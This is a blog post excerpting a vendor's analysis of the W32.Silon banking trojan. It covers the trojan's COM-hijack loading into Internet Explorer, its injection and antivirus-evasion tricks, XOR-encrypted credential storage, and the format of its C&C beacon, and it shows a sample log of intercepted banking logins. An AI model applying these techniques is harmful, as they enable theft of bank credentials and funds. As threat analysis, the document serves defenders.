New banking trojan W32.Silon -msjet51.dll

contagiodump.blogspot.com/2009/11/new-banking-trojan-w32silon-msjet51dll.html

If you have msjet51.dll in system32, you probably have a very dangerous banking trojan on your computer.

Two-Headed Trojan Targets Online Banks. New Trojan uses "two-pronged payload" to swipe log-in information, steal electronic funds.

W32.Silon Malware Analysis - White paper from Trusteer

http://www.virustotal.com/analisis/675eb7cf5f115dbb4e9c6dcf83de5700d36d29e0d7bf5218f508b9a3650f73e7-1256931747

See PDF for full analysis

Extracts.

Browser Penetration
When Internet Explorer runs, it loads several DLLs into its memory to flexibly enhance its functionality. One of these DLLs is msimtf.dll (a Microsoft-signed DLL used to record keyboard inputs), which is not a core DLL of Internet Explorer.
The malware dropper replaces a specific GUID => HKEY_CLASSES_ROOT\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC} which points to msimtf.dll, with msjet51.dll (under %systemroot%\system32).

Once infected, every time the user runs Internet Explorer, msjet51.dll
is loaded into iexplore.exe. Apparently, this installation step is carried
out by the dropper, and not by the DLL itself.
The DLL file (msjet51.dll) is located in systemroot%\System32, and
has its hidden attribute turned on.
Additional File / Registry Key
W32.Silon uses the disk volume serial number to generate a machinespecific
consistent file name and a registry key name. The disk volume
serial number for a specific machine can easily be found by issuing the
vol command. Assuming that the disk volume serial number is
H1H2H3H4-H5H6H7H8, the following entries are created:
· File %Systemroot%\Temp\H1H2H3H4H5H6H7H8 - output file of the
malware. The malware writes encrypted data (stolen credentials)
into this file.
· Registry key HKCU\CLSID\{H1H2H3H4H5H6H7H8-H3H4H5H6-
H5H6H7H8-H3H4H5H6- H2H3H4H5H1H2H3H4H5H6H7H8}\n,
where the following values of n were observed:
· 0 the malware configuration
· 1 the C&C URLs
· 3,4 additional values (probably flags)

The malware then injects itself into iexplore.exe and svchost.exe.
It also removes itself from the loaded-module list of iexplore.exe, in
order to elude runtime analysis by anti-virus engines.
The malware writes its data into a hidden file under the
%systemroot%\Temp folder.
The file is encrypted by one-byte XOR with 0xFF (25510).

Configuration
As mentioned above, the registry key
HKCU\CLSID\{H1H2H3H4H5H6H7H8-H3H4H5H6-H5H6H7H8-H3H4H5H6-
H2H3H4H5H1H2H3H4H5H6H7H8} contains four values:
0 malware configuration
1 C&C URLs
3, 4 Additional values (probably flags)

W32.Silon intercepts the POST request, and writes the
login data into an encrypted file in the
%systemroot%\System32\Temp folder.

POST request which is sent to the C&C Server. The
server's URL is one of a list stored in the registry.
[D]:12.10.09 14:37:01 PM

```
[U]:https://www4. [REMOVED]/.com/internetBanking/RequestRouter
[R]:https://www4.[REMOVED]/.com/internetBanking/RequestRouter?requestCmdI

d=DisplayLoginPage
[>]:requestCmdId=VALIDATEID
USERID=1133123
RESPONSE_TYPE_IND=
NONCE=NoNonce
MACHINEATTR=colorDepth%3D32%7Cwidth%3D1024%7Cheight%3D768%7C
availWidth%3D1024%7CavailHeight%3D735%7Cplatform%3DWin32%7CjavaEn
abled%3DYes%7CuserAgent%3DMozilla%2F4.0+%28compatible%3B+MSIE+6.0
%3B+Windows+NT+5.1%3B+SV1%3B+.NET+CLR+2.0.50727%29
doubleclick=2
[D]:12.10.09 14:37:47 PM
[U]:https://www4. [REMOVED]/.com/internetBanking/RequestRouter
[R]:https://www4. [REMOVED]/.com/internetBanking/RequestRouter
[>]:requestCmdId=Logon
USERID=1133123
PSWD=mysecret
LOGINSESSIONID=z92VNnipxdXNNmQ_eoY0za9
RESPONSE_TYPE_IND=
doubleclick=2
USEDSINGLEACCESSCODE=null
```

W32.Silon Malware Analysis
11

To identify the machine which sent the POST request, W32.Silon adds the i parameter to the request:

POST /b/i.php?i=<Machine_ID>.

The machine id contains the hostname (with x replacing hyphens/underscores) followed by an underscore, followed by the disk volume serial number (H1H2H3H4H5H6H7H8).